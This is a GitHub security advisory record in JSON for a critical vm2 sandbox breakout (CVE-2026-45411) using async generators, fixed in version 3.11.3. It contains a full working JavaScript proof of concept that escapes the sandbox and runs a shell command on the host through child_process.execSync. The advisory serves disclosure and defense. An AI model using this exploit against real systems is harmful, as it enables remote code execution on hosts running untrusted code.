{"id":"GHSA-248r-7h7q-cr24","revision":"f9c8d28c14ce43d5a3f803a5c10fa345","records":[{"revision":"f9c8d28c14ce43d5a3f803a5c10fa345","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-248r-7h7q-cr24","aliases":["CVE-2026-45411"],"title":"vm2 Has a Sandbox Breakout Using Async Generator","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIt is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d > 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nasync function* helper() {\n\tyield* {\n\t\t[Symbol.asyncIterator]: ()=>({\n\t\t\tnext: v=>({value: v, done: false})\n\t\t})\n\t};\n}\nasync function doCatch(f) {\n\tconst i=helper();\n\tawait i.next();\n\tconst v = await i.return({then(r){f();r();}});\n\treturn v.value;\n}\n(async function f() {\n\tlet min = 0;\n\tlet max = 10000000;\n\twhile (min<max) {\n\t\tconst mid = (min+max)>>1;\n\t\tconst e = await doCatch(()=>so(mid));\n\t\tif (e.name===\"RangeError\" && !(e instanceof RangeError)) {\n\t\t\te.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t\t\treturn;\n\t\t}\n\t\tif (e instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n})();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","state":0,"publishedAt":"2026-05-14T21:14:32+00:00","modifiedAt":"2026-05-14T21:41:25.210964+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24","https://nvd.nist.gov/vuln/detail/CVE-2026-45411","https://github.com/patriksimek/vm2/commit/093494c0c3ef2390d2e56909f9d56e290e6f18b0","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.3"],"sourceUrl":"https://github.com/advisories/GHSA-248r-7h7q-cr24","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-248r-7h7q-cr24","identifiers":["GHSA-248r-7h7q-cr24","CVE-2026-45411"]},"retained":false,"historicalAffected":[]}],"coverage":[]}